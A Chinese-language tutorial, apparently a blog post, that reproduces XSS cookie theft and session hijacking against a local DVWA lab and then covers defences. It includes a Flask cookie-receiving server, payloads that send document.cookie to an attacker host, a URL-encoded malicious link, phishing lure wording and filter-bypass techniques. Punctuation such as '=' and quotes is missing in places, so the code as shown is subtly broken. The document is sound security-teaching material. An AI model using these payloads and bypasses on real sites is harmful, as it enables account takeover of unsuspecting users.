XSS攻击实战:从Cookie窃取到会话劫持的完整复现与防御

📅 2026/7/28 11:43:11
XSS攻击实战:从Cookie窃取到会话劫持的完整复现与防御
1. 项目概述一次关于Web安全核心风险的深度剖析最近在和一些刚入行的安全工程师交流时发现很多人对XSS跨站脚本攻击的理解还停留在“弹个窗”的层面认为它只是个无关痛痒的小把戏。这其实是一个巨大的误区。XSS的真正威力远不止于此。它最危险的应用场景之一就是悄无声息地窃取用户的Cookie进而实现会话劫持让攻击者能够以受害者的身份登录系统执行任意操作。今天我就以一个从业者的视角带大家从零开始完整地复现一次利用XSS获取Cookie并实现会话劫持的实战过程。这不仅仅是CTF比赛里的一个关卡更是真实渗透测试和红队评估中从信息泄露到权限提升的关键一步。我们会从漏洞原理讲起一步步搭建环境、构造Payload、接收数据并最终完成身份“窃取”。无论你是想夯实Web安全基础还是希望理解防御措施背后的逻辑这篇详尽的图文指南都将为你提供清晰的路径。2. 核心原理与前置知识为什么Cookie如此关键在动手之前我们必须彻底搞清楚两件事什么是Cookie以及XSS为什么能拿到它。这是整个攻击链的基石。2.1 Cookie与SessionWeb的身份凭证机制你可以把HTTP协议想象成一个有“健忘症”的邮差。每次你浏览器向网站服务器发送请求这个邮差都记不住你是谁。为了解决这个问题网站发明了Session会话机制。服务器在第一次和你打交道时会创建一个唯一的Session ID并把这个ID连同一些你的状态信息比如登录状态、购物车内容保存在自己的“小本本”服务器内存或数据库上。但是光服务器记住你还不行每次请求时你得告诉服务器“我是谁”。于是Cookie登场了。服务器在创建Session后会通过HTTP响应头的Set-Cookie字段将这个Session ID“写”在你的浏览器里。浏览器会将它保存在本地的一个小文件中。此后你向该网站发出的每一个请求浏览器都会自动在请求头的Cookie字段里带上这个Session ID。服务器收到后一查自己的“小本本”哦原来是你于是恢复了你的会话状态。这就是“保持登录”的原理。关键点在于对于大多数网站尤其是那些使用Session-Cookie机制进行身份验证的网站谁拥有了这个Cookie谁就拥有了对应Session ID所代表的用户身份。服务器只认Cookie不认人。2.2 XSS将恶意脚本注入用户浏览器的漏洞XSS全称是跨站脚本攻击。它的核心是“跨站”吗不完全是。更准确的理解是“跨上下文脚本执行”。攻击者利用网站对用户输入过滤不严的漏洞将恶意的JavaScript代码“注入”到网页中。当其他用户浏览这个被“污染”的页面时嵌入的恶意脚本就会在他们的浏览器环境中执行。这里有一个至关重要的概念同源策略SOP。浏览器规定来自A站点的脚本不能读取B站点的数据如Cookie、DOM。但是XSS攻击巧妙地绕过了这个策略——恶意脚本是被“注入”到目标网站本身的页面中的。对于浏览器来说这段脚本就“属于”目标网站运行在目标网站的源Origin下。因此它拥有和目标网站正常脚本相同的权限可以完全访问当前页面的DOM、Cookie仅限于该网站的Cookie且HttpOnly属性为false时、LocalStorage等所有资源。所以攻击链条就清晰了找到一个存在XSS漏洞的页面 - 构造一个能读取当前页面Cookie的JavaScript Payload - 将Payload注入到页面中 - 诱使受害者访问该页面 - 受害者的浏览器执行恶意脚本读取其Cookie - 脚本将Cookie发送到攻击者控制的服务器。注意现代浏览器为Cookie设置了HttpOnly属性。如果服务器在设置Cookie时加上了HttpOnly那么JavaScript将无法通过document.cookie读取该Cookie这能有效防御此类窃取。我们的实战环境通常会关闭这个属性以进行练习但真实环境中这是检验漏洞危害程度的重要指标。3. 环境搭建与靶场选择打造安全的练习沙盒我们绝对不能在未经授权的真实网站上进行测试这是法律和道德的底线。因此我们需要一个本地或可控的漏洞环境也就是“靶场”。3.1 靶场方案对比与选型市面上有几种主流选择DVWA (Damn Vulnerable Web Application)老牌经典集成了多种漏洞包括XSS难度可调非常适合新手。它运行在PHPMySQL环境下。bWAPP另一个功能丰富的漏洞练习平台同样包含多种漏洞类型。XSS-Lab 或 PortSwigger的XSS Labs专注于XSS漏洞的专项靶场题目设计精巧循序渐进。自建简易漏洞页面对于理解核心原理有时自己写一个最简单的页面反而更直接。为了兼顾全面性和学习曲线我推荐使用DVWA。它不仅提供了反射型、存储型XSS场景还能让你在Low、Medium、High不同安全等级下练习绕过技巧这对理解防御和绕过逻辑非常有帮助。3.2 DVWA环境部署详细步骤这里以在本地使用Docker部署为例这是最干净、最便捷的方式。步骤一安装Docker如果你还没有安装Docker请前往Docker官网下载适合你操作系统Windows/macOS/Linux的Docker Desktop进行安装。安装完成后确保Docker服务已经启动。步骤二拉取并运行DVWA镜像打开终端命令行执行以下命令docker pull vulnerables/web-dvwa docker run -d -p 80:80 --name dvwa vulnerables/web-dvwadocker pull从仓库下载DVWA镜像。docker run -d后台运行容器。-p 80:80将容器的80端口映射到主机的80端口。这意味着你可以在浏览器通过http://localhost访问DVWA。--name dvwa给容器起个名字方便管理。步骤三访问与初始化打开浏览器访问http://localhost如果80端口被占用可以改用-p 8080:80然后访问http://localhost:8080。页面会跳转到设置页面 (/setup.php)。点击页面底部的“Create / Reset Database”按钮。这会初始化数据库。初始化成功后页面会自动跳转到登录页。默认用户名是admin密码是password。步骤四设置漏洞安全等级登录后在左侧菜单找到“DVWA Security”。将安全等级设置为“Low”。这个等级下几乎没有防护方便我们专注于攻击原理本身。后续你可以尝试“Medium”和“High”来挑战绕过技巧。至此你的本地XSS实战实验室就搭建完毕了。4. 攻击链实战一步步窃取Cookie我们的目标是在DVWA的XSS漏洞模块中注入一个脚本当管理员或模拟受害者查看时脚本能将其Cookie悄无声息地发送到我们控制的服务器。4.1 第一阶段搭建攻击者服务器接收端Cookie偷来了得有个地方收。我们需要一个能接收HTTP请求并记录其中数据的服务。方案选择Netcat (nc)简单监听但只能接收一次且功能单一。Python HTTP Server 请求处理灵活可自定义能持续记录。我们选择这个。使用Python Flask搭建接收服务器 创建一个名为steal_cookie.py的文件写入以下代码from flask import Flask, request import datetime app Flask(__name__) app.route(/) def index(): # 获取请求中的Cookie参数 stolen_cookie request.args.get(cookie) client_ip request.remote_addr user_agent request.headers.get(User-Agent) time_now datetime.datetime.now().strftime(%Y-%m-%d %H:%M:%S) if stolen_cookie: log_entry f[{time_now}] IP: {client_ip} | UA: {user_agent} | Cookie: {stolen_cookie}\n print(f\033[92m[] 收到Cookie!\033[0m {log_entry}) # 绿色高亮打印 # 将偷取的Cookie写入文件 with open(stolen_cookies.log, a) as f: f.write(log_entry) return OK, 200 else: # 记录所有访问可能是受害者浏览器预加载或探测 log_entry f[{time_now}] IP: {client_ip} | UA: {user_agent} | 无Cookie参数\n print(f\033[93m[-] 普通访问\033[0m {log_entry}) with open(access.log, a) as f: f.write(log_entry) return Not Found, 404 if __name__ __main__: # 运行在公网IP的8080端口。本地测试可用 0.0.0.0 app.run(host0.0.0.0, port8080, debugFalse)运行服务器 在终端中进入该文件所在目录执行python steal_cookie.py你会看到输出提示服务运行在http://0.0.0.0:8080。这意味着它监听本机所有网络接口的8080端口。实操心得在真实渗透测试中这个接收服务器需要部署在具有公网IP的VPS上确保受害者能访问到。本地测试时如果攻击者和受害者在同一局域网可以用内网IP如果都在同一台物理机用浏览器模拟受害者直接用127.0.0.1或localhost即可。务必注意将服务暴露在公网时需考虑法律风险和安全防护避免服务器本身被攻击。4.2 第二阶段构造并注入XSS Payload现在我们进入DVWA进行漏洞利用。定位漏洞点登录DVWA后在左侧菜单选择“XSS reflected”反射型XSS。反射型XSS的Payload通常通过URL参数传递并立即在响应页面中执行。理解输入点页面上有一个输入框提示你输入“Name”。提交后你输入的内容会显示在页面上。这就是我们的注入点。构造恶意Payload我们的目标是让页面执行一段JavaScript读取Cookie并发送到我们的服务器。基础Payloadscriptalert(document.cookie)/script先在输入框输入这个点击“Submit”。如果成功弹窗显示Cookie说明漏洞存在。但这只是证明没有完成窃取。窃取Cookie Payload我们需要构造一个能发起网络请求的脚本。通常使用Image对象或者fetch/XMLHttpRequest。这里用经典的Image对象法因为它简单且兼容性极好。scriptvar imgnew Image();img.srchttp://攻击者IP:8080/?cookieencodeURIComponent(document.cookie);/script将攻击者IP替换成你运行steal_cookie.py服务器的IP地址。如果是本地同一台机器测试http://127.0.0.1:8080/?cookie如果是局域网另一台机器http://192.168.x.x:8080/?cookieencodeURIComponent用于对Cookie值进行URL编码避免特殊字符如分号;破坏请求结构。进行注入在DVWA反射型XSS页面输入框输入完整的Payload例如scriptvar imgnew Image();img.srchttp://127.0.0.1:8080/?cookieencodeURIComponent(document.cookie);/script点击“Submit”。此时你的浏览器会执行这段脚本向你自己的接收服务器发送一次带有Cookie的请求。你可以在运行steal_cookie.py的终端里看到绿色的[] 收到Cookie!日志并且当前DVWA的Cookie已经被记录到stolen_cookies.log文件里。到这里我们已经完成了攻击原理的验证。但真正的攻击是让“受害者”触发。4.3 第三阶段制作攻击链接与诱骗反射型XSS需要受害者点击一个特定的链接。我们需要将Payload嵌入到一个URL中。生成恶意URL DVWA反射型XSS通常通过name参数传递输入。观察提交后浏览器的地址栏URL会变成类似http://localhost/vulnerabilities/xss_r/?name你输入的内容#我们需要构造一个URL将Payload作为name参数的值。但由于Payload包含特殊字符如,?,/必须进行URL编码。原始Payloadscriptvar inew Image();i.srchttp://127.0.0.1:8080/?cencodeURIComponent(document.cookie);/scriptURL编码后可以使用在线工具或浏览器控制台的encodeURIComponent函数%3Cscript%3Evar%20i%3Dnew%20Image()%3Bi.src%3D%27http%3A%2F%2F127.0.0.1%3A8080%2F%3Fc%3D%27%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E完整恶意URLhttp://localhost/vulnerabilities/xss_r/?name%3Cscript%3Evar%20i%3Dnew%20Image()%3Bi.src%3D%27http%3A%2F%2F127.0.0.1%3A8080%2F%3Fc%3D%27%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E诱骗受害者点击 在真实攻击中攻击者会通过钓鱼邮件、论坛私信、社交网站评论等方式将这个短链接可能会用短域名服务隐藏发送给受害者。链接的锚文本可能是“看看这个好玩的”、“你的账户有异常请点击查看”等具有诱惑力或紧迫感的内容。4.4 第四阶段会话劫持实战演示现在我们来模拟受害者点击链接后的完整效果并完成身份劫持。准备两个浏览器会话浏览器A攻击者视角保持steal_cookie.py终端运行并打开一个文本编辑器查看stolen_cookies.log。浏览器B受害者视角使用无痕模式或另一个完全不同的浏览器如Chrome正常模式 vs Firefox。在浏览器B中登录DVWAadmin/password。这模拟了一个已登录的受害者。触发攻击在**浏览器B受害者**的地址栏粘贴我们构造好的完整恶意URL然后访问。页面看起来可能和正常一样或者因为脚本执行无界面变化但攻击已经在后台发生。接收并查看Cookie切换到**浏览器A攻击者**的终端你应该立刻看到一条新的绿色日志显示收到了来自受害者IP的Cookie。打开stolen_cookies.log文件你会看到一行记录其中包含类似PHPSESSID你的会话ID; securitylow的字符串。这就是受害者的会话Cookie。实施会话劫持现在完全关闭浏览器B或者至少退出DVWA登录。确保浏览器B不再拥有活跃的会话。打开第三个浏览器窗口或使用浏览器A的新标签页访问DVWA首页http://localhost。不要登录。打开浏览器的开发者工具F12切换到“应用程序”(Application)或“存储”(Storage)标签页找到Cookie选项选择http://localhost这个域名。手动添加一条Cookie名称填PHPSESSID值填你从日志里偷来的那个PHPSESSID的值。然后按回车保存。再添加一条Cookie名称填security值填low。添加完成后直接刷新DVWA首页。奇迹发生了——你没有输入任何用户名密码但页面显示你已经以admin身份登录了你可以随意操作就像你是真正的管理员一样。这就是会话劫持。5. 漏洞防御与深度思考成功完成攻击后我们必须思考如何防御。防御是安全的核心。5.1 防御措施分层解析对用户输入进行严格的过滤和编码治本原则“一切输入皆不可信”。对所有来自用户的数据URL参数、POST表单、HTTP头、富文本等进行处理。过滤根据数据将要放置的上下文采用不同的编码或过滤方式。HTML上下文使用HTML实体编码。将转成lt;转成gt;转成amp;转成quot;转成#x27;。在PHP中可用htmlspecialchars()函数。JavaScript上下文除了对尖括号编码还需对引号、反斜杠进行Unicode转义或使用JSON编码。URL上下文进行URL编码。白名单 vs 黑名单优先使用白名单策略只允许已知安全的字符集通过。黑名单试图过滤script等关键词极易被绕过如大小写、嵌套标签、编码混淆。设置安全的Cookie属性降低危害HttpOnly这是防御XSS窃取Cookie最有效的措施之一。在服务器设置Cookie时加上HttpOnly标志如Set-Cookie: PHPSESSIDxxx; HttpOnly。这样JavaScript的document.cookieAPI将无法读取此Cookie但浏览器发起HTTP请求时仍会自动携带。DVWA在Low安全等级下未开启此属性在Medium/High等级会开启。Secure仅通过HTTPS协议传输Cookie防止网络嗅探。SameSite设置为Strict或Lax可以阻止跨站请求伪造CSRF攻击并在一定程度上增加XSS利用难度。实施内容安全策略CSP CSP是一个强大的深度防御策略。它通过HTTP头告诉浏览器哪些外部资源脚本、样式、图片、字体等可以被加载和执行。一个严格的CSP可以阻止内联脚本script.../script的执行从根本上扼杀大部分非存储型XSS。例如头信息Content-Security-Policy: script-src self;表示只允许执行同源脚本。对输出进行编码 即使后端存储了“干净”的数据在前端渲染时也要根据输出上下文进行编码。现代前端框架如React, Vue, Angular默认会对动态绑定进行HTML编码这提供了很好的基础防护。5.2 常见问题与排查技巧实录在实战和教学过程中我遇到过不少坑这里总结一下问题1Payload提交后没反应终端也没收到请求。排查首先检查最基本的用scriptalert(1)/script测试是否能弹窗。如果不能说明输入点可能不在脚本上下文或者有基础过滤。如果能弹窗但偷不到Cookie检查接收服务器是否运行正常用浏览器直接访问http://你的IP:8080看是否有响应。Payload中的IP和端口是否正确确保受害者浏览器能访问到你的服务器IP局域网或公网要对应。浏览器控制台F12 - Console是否有错误可能因为跨域问题如果端口不同算跨域或语法错误导致脚本执行失败。将img.src的请求改为fetch或XMLHttpRequest并查看控制台报错。Cookie是否设置了HttpOnly在开发者工具的Application标签查看Cookie属性。如果HttpOnly为true则document.cookie读不到它。问题2偷到的Cookie无法成功劫持会话。排查会话是否依然有效服务器端的Session可能有有效期或者受害者已经退出登录导致服务器销毁了Session。是否偷全了Cookie有些应用需要多个Cookie才能维持状态如PHPSESSID和security。确保你的Payload发送了所有Cookiedocument.cookie会获取当前页面所有非HttpOnly的Cookie。添加Cookie的域和路径是否正确在开发者工具添加Cookie时要确保域名Domain和路径Path与原始网站一致。通常只填名称和值即可浏览器会自动匹配。问题3在真实复杂环境中Payload被过滤或截断。技巧大小写绕过ScRiPt。标签属性事件不使用script标签而用其他标签的事件处理器如img srcx onerroralert(1)svg onloadalert(1)。编码混淆HTML实体编码、JS Unicode编码、URL编码混合使用。例如可以写成#x3c;或\u003c。利用JavaScript协议a hrefjavascript:alert(document.cookie)点击/a。拆分拼接如果过滤了关键词可以尝试script或利用eval(String.fromCharCode(...))。终极建议防御XSS是一个系统工程需要前后端协同。作为开发者应在设计之初就采用安全的框架和编码规范作为安全人员应使用自动化扫描工具如DAST和手动测试相结合的方式进行审计。理解攻击是为了更好地防御。